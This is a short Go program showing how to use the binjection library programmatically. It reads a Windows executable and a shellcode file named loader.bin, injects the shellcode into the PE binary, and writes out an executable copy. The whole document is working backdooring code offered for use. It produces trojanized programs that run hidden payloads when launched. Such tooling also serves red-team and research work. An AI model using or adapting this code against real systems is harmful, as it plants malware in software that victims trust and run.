Using the binject/binjection library programatically

binjection_example.go

package main

import(
  "io/ioutil"
  "fmt"
  "github.com/Binject/binjection/bj"
)

var (
example_path = "example.exe"
example_shellcode = "loader.bin"
injected_out = "injected_out.exe"
)

func main() {

  in_dat, err := ioutil.ReadFile(example_path)
  if err != nil {
    fmt.Println(err.Error())
  }

  payload, err := ioutil.ReadFile(example_shellcode)
  if err != nil {
    fmt.Println(err.Error())
  }

  injected_bytes, err := bj.PeBinject(in_dat, payload, &bj.BinjectConfig{
    InjectionMethod: bj.PE,
  })
  if err != nil {
    fmt.Println(err.Error())
  }

  err = ioutil.WriteFile(injected_out, injected_bytes, 0700)
  if err != nil {
      fmt.Println(err.Error())
  }

}